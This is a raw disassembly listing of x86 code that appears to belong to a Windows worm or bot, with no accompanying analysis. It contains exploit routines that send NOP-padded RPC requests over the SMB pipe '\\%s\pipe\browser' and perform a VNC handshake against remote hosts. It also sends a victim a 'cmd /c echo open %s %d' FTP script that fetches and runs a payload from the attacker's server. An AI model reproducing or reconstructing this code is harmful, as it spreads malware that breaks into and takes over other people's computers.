		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0F0h	; ð
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  74h	; t
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  58h	; X
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 271099Eh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43224C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432238
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670909h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321E0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDCCC
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_43222F+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321D4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321DC[esi]
		push	7
		add	eax, edi
		push	offset dword_4321C8
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432068
		push	eax
		call	sub_41C310
		mov	eax, dword_4321D8[esi]
		add	esp, 30h
		cmp	byte_4321E0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDCC4
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321F8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321F8

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670909h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 270093Fh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2690DF2h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26A072Eh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0E0h	; à
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  80h	; €
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Ch	; Œ
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db 0E8h	; è
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 22824DAh, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACE0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43143Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFE4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322F4
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433538
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAFA4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB03C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE5C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

